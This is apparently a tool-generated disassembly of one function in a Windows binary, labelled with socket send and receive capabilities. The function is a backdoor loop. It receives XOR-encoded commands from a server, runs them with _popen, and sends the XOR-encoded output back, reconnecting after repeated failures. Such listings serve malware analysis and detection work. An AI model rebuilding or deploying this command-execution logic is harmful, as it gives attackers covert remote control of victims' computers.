Function at 0x401390
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402600
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1838
call fcn.004025b0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x1834], eax
push 0
push 0x800
lea ecx, [ebp - 0x1018]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
je 0x401645
nop dword [eax]
mov eax, dword [0x40545c]
inc eax
mov dword [0x40545c], eax
cmp eax, 5
jle 0x401436
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.004012c0
mov dword [ebp - 0x1834], eax
mov dword [0x40545c], 0
jmp 0x401625
push 6
lea eax, [ebp - 0x1018]
push str.XORKEY
push eax
call fcn.00401210
add esp, 0xc
test esi, esi
jle 0x40161f
lea eax, [ebp - 0x1018]
push 0x403238
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edi, eax
add esp, 8
mov dword [ebp - 0x1838], edi
test edi, edi
je 0x40161f
xorps xmm0, xmm0
mov dword [ebp - 0x1820], 0
movups xmmword [ebp - 0x1830], xmm0
mov dword [ebp - 0x181c], 0xf
mov byte [ebp - 0x1830], 0
push edi
lea eax, [ebp - 0x818]
mov dword [ebp - 4], 0
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
je 0x401563
lea esi, [ebp - 0x818]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4014d0
mov edx, dword [ebp - 0x181c]
sub esi, ecx
mov ecx, dword [ebp - 0x1820]
mov eax, edx
sub eax, ecx
push esi
cmp esi, eax
ja 0x401525
lea eax, [ecx + esi]
cmp edx, 0xf
mov dword [ebp - 0x1820], eax
lea edi, [ebp - 0x1830]
cmova edi, dword [ebp - 0x1830]
lea eax, [ebp - 0x818]
add edi, ecx
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov byte [edi + esi], 0
add esp, 0xc
mov edi, dword [ebp - 0x1838]
jmp 0x401545
lea eax, [ebp - 0x818]
mov byte [ebp - 0x183c], 0
push eax
push dword [ebp - 0x183c]
lea ecx, [ebp - 0x1830]
push esi
call fcn.00401710
push edi
lea eax, [ebp - 0x818]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
jne 0x4014c3
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [ebp - 0x1830]
cmp dword [ebp - 0x181c], 0xf
cmova eax, dword [ebp - 0x1830]
push eax
lea eax, [ebp - 0x1818]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x1818]
push 6
push str.XORKEY
push eax
call fcn.00401210
add esp, 0xc
lea eax, [ebp - 0x1818]
push 0
push 0x800
push eax
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x181c]
cmp ecx, 0xf
jbe 0x401604
mov edx, dword [ebp - 0x1830]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401666
push ecx
push edx
call fcn.004018aa
add esp, 8
mov dword [ebp - 0x1820], 0
mov dword [ebp - 0x181c], 0xf
mov byte [ebp - 0x1830], 0
mov eax, dword [ebp - 0x1834]
push 0
push 0x800
lea ecx, [ebp - 0x1018]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401400
push str.Failed_to_receive_data_from_server
lea ecx, [ebp - 0x1848]
call fcn.00401170
push 0x40390c
lea eax, [ebp - 0x1848]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3